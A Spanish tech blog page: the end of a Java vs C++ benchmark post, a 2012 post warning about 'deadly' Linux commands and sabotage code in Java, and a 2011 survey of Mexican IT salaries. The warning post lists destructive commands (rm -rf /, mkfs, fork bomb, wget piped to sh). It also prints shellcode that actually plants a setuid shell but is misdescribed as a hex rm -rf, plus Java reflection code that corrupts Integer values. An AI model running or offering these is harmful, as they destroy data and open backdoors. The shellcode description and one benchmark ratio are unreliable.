Afortunadamente, los amigos de Debian han hecho su tarea de forma magnífica. Mediante crowdsourcing, ellos han estado comparando no sólo Java y C++, sino también implementaciones de otros lenguajes como Fortran, Ruby o Perl. Incluyendo árboles binarios, fractales de Mandelbrot o el cálculo de Pi (π), los resultados son bastante coherentes. Aunque las pruebas se desarrollaron en diferentes plataformas, para este caso nos enfocaremos en los resultados de correr estos programas en Intel Q6600 (Quad Core) con Ubuntu 5.10 x64:

Prueba Java SE 7 C++ 4.6.3 Mejor de su tipo (factor = 1.0)
N-Body 2.1 1.0 C++
Fannkuch-redux 1.9 1.4 ADA 2005 GNAT
Meteor-contest 15.0 1.0 C++
Fasta 3.4 1.7 C
Spectral-norm 2.3 1.0 Fortran Intel, ADA 2005 GNAT, C++ (empate)
Reverse-complement 1.9 1.0 C++
Mandelbrot 1.9 1.7 Fortran Intel
K-nucleotide 1.1 1.0 C++
Regex-dna 5.3 1.7 C
Pidigits 2.4 1.2 ATS
Chameneos-redux 7.8 1.1 ADA 2005 GNAT, C (empate)
Thread-ring 41.0 21.0 Haskell GHC
Binary-trees 1.6 1.6 C

Factor de desempeño en Java y C++ para diversos algoritmos matemáticos. El factor se mide como 1.0 = tiempo con el mejor desempeño. En la tabla se muestra que para el programa Fannkuch-redux, Java tardó 1.9 veces el mejor tiempo, mientras que C++ tardó 1.4 veces el mejor tiempo. En este ejemplo, el mejor tiempo se lo llevó el lenguaje ADA 2005 GNAT. Fuente: debian.org

Obteniendo la media, mejores y peores tiempos, también incluidos en el estudio, nos damos cuenta que Java no está lejos de alcanzar la velocidad de C++, aunque todavía permanece por debajo del desempeño logrado por éste lenguaje y sus optimizaciones:

Lenguaje Mejor Tiempo Peor Tiempo Media
C++ 1.00 1.69 1.21
Java 7 1.13 3.46 1.95

Comparación de desempeño para todas las pruebas en Java y C++. Fuente: debian.org

De hecho, si sólo tomamos los valores de la media, nos daremos cuenta que el factor de desempeño de Java es de 3.46/1.69 = 2.06 contra el de C++. Es decir, una relativamente amplia variedad de programas escritos en Java tardarían aproximadamente el doble de lo que tardarían si fueran escritos en C++. Esto es un precio a pagar muy pequeño si tomamos en cuenta los otros beneficios de Java, como portabilidad, facilidad de uso, o impedir que los programadores administren la memoria directamente (apuntadores, ¿alguien?).

Conclusiones

Aunque todavía le falta camino por recorrer, durante los últimos años Java ha disminuido su factor de desempeño contra C++ hasta alrededor del doble en plataformas Linux-Intel. Por lo que es necesario “iluminar a los no iniciados” para que se den cuenta que la “lentitud de Java” es una leyenda urbana que ha perdurado por más de 15 años sin un verdadero análisis que lo respalde. Por otro lado, es importante reconocer que ningún lenguaje es la “bala de plata”, por lo que Java o C++ deben implementarse de acuerdo al problema que queremos resolver: para acceder a recursos de bajo nivel como drivers, rutinas matemáticas o código embebido de alto desempeño, la respuesta la encontramos en C++. Para programas orientados a negocios o web que requieran facilidad de modificación, portabilidad o simplemente, cuyos problemas de desempeño puedan ser “matados a billetazos” (es decir, pagando por agregar hardware más potente), Java es una buena opción. Para finalizar, esto no debería ser una competencia para ver “quién es el mejor”, sino encontrar la manera de complementar ambos lenguajes. Después de todo, ambos son los más populares entre los programadores. En nuestro caso particular, una opción interesante será tener el procesamiento geoespacial en C++, mientras dejamos todo lo demás en Java y sus múltiples frameworks de desarrollo.

h1

Cuidado con lo que copiamos de la red: comandos mortales de Linux y codigo malicioso en Java

05/18/2012

Wizdoc [Icon By Buuf]  Tips & Tricks.

Hace un par de semanas mi señora, DBA de profesión, me solicitó ayuda para llamar a la utilidad Zip que viene incluida en Windows XP desde la línea de comando. Haciendo un par de búsquedas en Google encontré las respuestas, pero todas las soluciones exigen crear un archivo por lotes que posteriormente debe ejecutarse. Así que además de indicarle las ligas, le aconsejé que era importantísimo revisar estos scripts por alguno de los sysadmins en la empresa donde trabaja, con el fin de verificar que eran válidos y no contenían código malicioso entre ellos.

Así encontré el blog junauza.com, dedicado a Linux, Android y otros temas relacionados al software de código abierto. En éste se encuentra un pequeño post dedicado a los Siete comandos mortales en Linux. Me parece entretenido, ya que efectivamente muchos novatos de éste sistema operativo encuentran fragmentos de código en la red y sin deberla ni temerla, los ejecutan en sus máquinas, provocando en algunos casos terribles consecuencias:

Si eres nuevo en Linux, existe una buena probabilidad de que te topes con un hijoeputa, tal vez en un foro o chat, que te engañe para ejecutar comandos que dañarán tus archivos o hasta tu sistema operativo entero. Para evitar que este peligroso escenario se llegue a presentar, tengo aquí una lista de mortales comandos de Linux que deberías evitar.

1. Código:


rm -rf /

Este comando borrará de manera recursiva y sin preguntar todos los archivos contenidos en el directorio raíz.

2. Código:


char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

Esta es la versión hexadecimal del comando rm -rf / de más arriba que puede engañar incluso a Linuxeros expermientados.

3. Código:


mkfs.ext3 /dev/sda

Este script formateará o eliminará todos los archivos del dispositivo mencionado después del comando mkfs. Es equivalente al format de DOS.

4. Código:


: ( ) { : | : & } ; :

Conocido como un forkbomb o bomba fork, este comando le dirá al sistema operativo que ejecute un gran número de procesos hasta que el sistema se congele. Esto generalmente ocasiona corrupción de datos.

5. Código:


cualquier_comando > /dev/sda

Con este comando, se escribirán datos en bruto a un dispositivo por bloques de tal forma que usualmente saturan al sistema de archivos, resultando en pérdida total de datos.

6. Código:


wget http://algún_URL_no_seguro -O- | sh

Nunca hay que descargar archivos desde fuentes no seguras, para luego ejecutar los posibles códigos maliciosos que pueden contener.

7. Código:


mv /home/tu_directorio_home/* /dev/null

Este comando moverá todos los archivos dentro de tu directorio home a un lugar que no existe; por lo tanto no volverás a ver esos archivos jamás.

Por supuesto existen otros comandos de Linux igualmente mortales que no he mostrado aquí, asi que si tienen alguno qué agregar, por favor compártanlos con nosotros a través de la seccion de comentarios.

Y así es como debemos tener cuidado con lo que descargamos o copiamos de la red, ya que podría verse como código inocente, pero no siempre sabemos si es un tirabuzón de algún gracioso que nos quiere ver la cara de turistas.

Y en cuanto a Java…

¿Es posible hacer alguna barbaridad en Java de manera parecida? Aunque es difícil si no imposible hacer desmanes con los sistemas de archivos u operativo con una aplicación web debido al sandbox mode de Java, sí es posible incluir código que ocasione fallas aleatorias en la aplicación misma. La especificación del lenguaje contiene algunos detalles que al ser explotados, pueden lograr que incluso los desarrolladores más experimentados suden por un rato. Por ejemplo, una sección de la especificación define que si no usamos explícitamente la palabra reservada new cuando asignamos valores a los wrappers – aquellas clases de Java que son usadas para almacenar datos primitivos, como Integer, Double y Character – éstos se guardan en un cache de memoria:


Integer i = new Integer(9);
Integer j = 9; // esto marcaba error en versiones previas a Java 5.0
Integer k = 9;

if(j==k)
    // notese que estamos comparando las direcciones en memoria, no el valor
    System.out.println(true);
else
    System.out.println(false);
// esto imprime ‘true’ (j y k son la misma variable!)

Esto, aunado a la funcionalidad de autoboxing o conversión directa del wrapper al dato primitivo, permite introducir código malicioso en la aplicación:


package no.intentar_esto.en_casa;
import java.lang.*;

class SustitucionDeValores extends Thread {
    public void run() {
        while(true) {
            sustituye();
            try { sleep(1000); } catch (Throwable t) { }
        }
    }
    
    public void sustituye() {
        try {
            Field field = Integer.class.getDeclaredField( “value” );
            field.setAccessible( true );
            for(int i = -127; i<=128; i++)
            field.setInt(
                Integer.valueOf(i),
                // ya sea el mismo (90%), +1 (10%), o 42 (1%)
                Math.random() < 0.9 ? i : Math.random() < 0.1 ? 42 : i+1 );
        } catch (Throwable t) { ; }
    }
}

Una llamada a (new SustitucionDeValores()).start(); generará un hilo de ejecución que redefinirá al azar los valores de los enteros entre -127 y 128, asegurando que nunca serán los mismos dos veces:


Integer a = 2;
Integer b = 3;

System.out.println( a + b ); // podría ser cualquier valor, ya sea 5, 6, 7, 44, 45, u 84

Para incrementar la “diversión”, se puede hacer lo mismo con los demás wrappers: Boolean, BigInteger, Long, Short, etcétera siempre que sigamos las reglas de definición del autoboxing, encontrada en la especificación de Java. Aunque esto sólo afecta a los wrappers, no conozco una aplicación empresarial que no los utilice, ya que es una de las formas más eficientes de recuperar y manejar información con el framework de colecciones.

Aunque éste código raya en el sabotaje, de todas formas es conveniente darnos cuenta que no todos los ejemplos de scripts y código que encontramos en la web tienen buenas intenciones, máxime que algunos de ellos pueden explotar vulnerabilidades para beneficio de otros… y en detrimento nuestro.

h1

Sueldos IT en México 2011: Scrum e Inglés son lo de hoy

01/18/2011

Wizdoc [Icon By Buuf]  Tips & Tricks.

(Última actualización: 22/03/2015)

En este momento ya contamos con la última versión de este estudio, con cifras actualizadas para el año 2015 que incluyen entre otras cosas, desglose por entidad federativa, género, tipo de empresa contratante y nivel de inglés así como un comparativo contra el sueldo del estudio anterior (2013).

La mayoría de ustedes están familiarizados con las virtudes de un programador. Hay tres, por supuesto: pereza, impaciencia y orgullo desmedido.

Larry Wall, programador y escritor estadounidense, creador del lenguaje de programación Perl.

Desde el 2007 he venido publicando posts relacionados a los sueldos que ganamos la gente IT en México, basándome en los artículos que difunde la revista Software Gurú con información complementaria de otras fuentes. Este año tengo la información a la mano y habiendo encontrado cuál es la radiografía del mercado laboral Mexicano, éstos son los resultados:

El sueldo promedio

El sueldo promedio de un sistemólogo en México es de aproximadamente MXN 23,052 (anualizado: USD 23,736 con un tipo de cambio de 11.65 pesos por dólar al 17.01.2011). Esto es alentador, porque durante 2008 el salario promedio había sido de MXN 22,495, significando que con todo y crisis, influenza H1N1 y guerra contra las drogas, el salario se ha incrementado en aproximadamente 2.48%. Ni los gringos pueden presumir esto pues en 2008 el salario promedio de un IT norteamericano era de USD 71,114 y hoy por hoy ha decrecido en 578 dólares hasta llegar a los USD 70,536. Claro que considerando la inflación de éstos últimos tres años (2008 en 6.53%, 2009 en 3.7% y 2010 en 4.40%), tenemos un decremento neto del ingreso promedio para la fuerza laboral Mexicana. Por otro lado, vale la pena mencionar que esto es sólo el promedio, ya que el sueldo que deberíamos percibir depende mucho de la localidad geográfica, experiencia, tipo de empresa en la que laboramos y hasta el género:

Estado Salario promedio mensual
(MXN)
Salario promedio anualizado
(USD)
Nuevo León $29,431 $30,315
Distrito Federal $27,920 $28,759
Querétaro $24,557 $25,294
Estado de México $22,526 $23,202
Jalisco $21,225 $21,862
Baja California $20,714 $21,336
Guanajuato $15,137 $15,592
Veracruz $13,200 $13,596
Puebla $13,128 $13,522
Sueldo promedio por entidad federativa. Mensual en pesos Mexicanos, anual en dólares Americanos (Tipo de cambio al 17.01.2011)

Me llama la atención que los sueldos IT se siguen emparejando contra los del personal equivalente en los países industrializados. Caso en mano: mientras la proporción del ingreso per cápita entre Estados Unidos y México es de 5.27 (USD 47,400 vs. USD 9,000), en empleos relacionados a IT la variación es bastante menor con 2.97 (USD 70,536 vs. USD 23,736).

Sueldos por función

Los sueldos por función han sufrido algunos cambios para reflejar las áreas de especialidad:

Sueldos por función en México

Sueldos por función de acuerdo a actividades desempeñadas. Cifras en pesos Mexicanos, sueldo mensual.

• Podemos ver que las actividades que más atraen gente a esta profesión – el diseño gráfico y la animación computarizada – son las peor pagadas. De hecho, diseño gráfico debería quedar fuera de IT debido a que para muchos, sólo consiste en manejar paquetería: conocer Photoshop, Corel Photopaint, Flash y herramientas relacionadas tiene poco que ver con un ingeniero de software.

• El grueso de actividades IT que van desde administración de redes, programación y gestión de bases de datos hasta el análisis de sistemas no tienen mucha diferencia entre sí, pues el rango de sueldos es de apenas MXN 3,300 mensuales, que es la diferencia entre un sysadmin ganando MXN 19,000 y un analista con un sueldo de MXN 22,300.

• La actividad técnica mejor pagada en IT sigue siendo la de arquitecto, sin embargo palidece considerablemente contra un administrador de proyectos o un especialista en mejora de procesos pues la diferencia de sueldos es de 22% y 23%, respectivamente.

• La sorpresa de este año son los ingenieros de preventa, pues son los mejores pagados en la industria. Aunque en mi experiencia profesional son los encargados de definir soluciones, establecer presupuestos y redactar propuestas, el término es demasiado genérico. ¿Tal vez debieron definir preventa de QUÉ? No es lo mismo soluciones en SAP que arquitecturas SOA y mucho menos una infraestructura en Oracle RAC.

Sueldo por conocimientos, habilidades, tecnologías y certificaciones

A principios del 2011, éstos eran los sueldos promedio de acuerdo al nivel de conocimientos, tecnologías y certificaciones manejadas en México:

Sueldos por conocimiento tecnologia y certificacion (1/2)
Sueldos por conocimiento tecnologia y certificacion (2/2)

Sueldos por conocimientos, habilidades, tecnologías y certificaciones. Cifras en pesos Mexicanos, sueldo mensual. Nota: algunas clasificaciones “OS” son erróneas (por ejemplo: AIR/Flash o Silverlight más bien son plataformas, no sistemas operativos).

• Nótese que éste es el promedio nacional, así que no nos sorprenda encontrar en la ciudad de Puebla un DBA en Firebird con un “sueldazo” de MXN 8,770 (anualizado en USD 9,033) mientras existen Project Managers certificados en la ciudad de Monterrey ganando MXN 55,282 (anualizado a USD 56,940) con apenas una proporción de 1.52 contra el sueldo de un PMP estadounidense.

• PHP sigue siendo el lenguaje peor pagado en IT. Esto es muy lamentable, considerando que es el cuarto lenguaje de programación más usado alrededor del mundo. En bases de datos, Firebird es la peor pagada y conocer AIR o Flash apenas nos dan para comer.

• Tener conocimientos sin certificación en sistemas operativos como Windows y Linux, bases de datos como PostgreSQL o MySQL y los lenguajes de programación Visual Basic y C# no nos conviene, pues el sueldo promedio de estas tecnologías y herramientas es menor que el del promedio. De hecho, certificarse como DBA de Microsoft o técnico de Cisco no ofrece tantas ventajas competitivas como aprender un lenguaje de programación.

• Y hablando de lenguajes de programación, Java ha perdido terreno contra .Net y esto se ve reflejado en la tabla. Un Javero “genérico” gana MXN 24,300 al mes, mientras un dot-Netero hace mínimamente MXN 25,200 (4% de diferencia). Sin embargo, si hay certificaciones de por medio, la situación se invierte pues un Microsoft Certified Solution Developer anda por los MXN 25,300 mientras un Certified Java Programmer gana MXN 26,300.

• En general, los puestos técnicos mejor pagados siguen siendo aquellos que tienen que ver con sistemas legados: con el lenguaje de programación Cobol, Mainframe como plataforma y DB2 como base de datos, aquellos que dominan este nicho ganan mínimamente MXN 30,300.

• En cuanto a certificaciones “poderosas”, SAP, Scrum, MCSE y PMP son las mejor pagadas con un mínimo de MXN 33,500 al mes. Lo que me llama muchísimo la atención es lo bien pagado que está Scrum, considerando que para obtener la certificación sólo basta leerse unos documentos y tomar un curso de un par de días. De hecho, en este mismo blog hice una pequeña introducción al mismo, dejando ver lo fácil que es de aprender e implementar en nuestros proyectos.

Do you speak English?

Finalmente, en esta edición hicieron una valoración del sueldo de acuerdo al nivel de inglés. Bastante curioso es que dependiendo de nuestro fluency level es posible determinar una línea base del salario que podemos percibir:

• Básico – Lectura/escritura con apoyo de un diccionario: MXN 16,900 (anualizado USD 17,407)

• Intermedio – Lectura/escritura con algunos errores: MXN 20,700 (anualizado USD 21,321)

• Avanzado – Lectura, redacción y conversación fluida: MXN 31,800 (anualizado USD 32,754)

Significando que al aprender inglés estamos asegurando un ingreso de 38 puntos porcentuales (o casi 9,702 pesos mensuales) superior al de la media general. Aunque no debemos confundir causalidad con casualidad, es claramente necesario tener un buen inglés; máxime que a mayor globalización, tarde o temprano tendremos que interactuar con clientes y equipos de trabajo de otras partes del mundo. Un ejemplo: si no sabemos portugués y nuestro interlocutor no sabe español, ¿cuál será el lenguaje que deberíamos conocer ambos para entendernos mutuamente? Y no, el portoñol no es válido.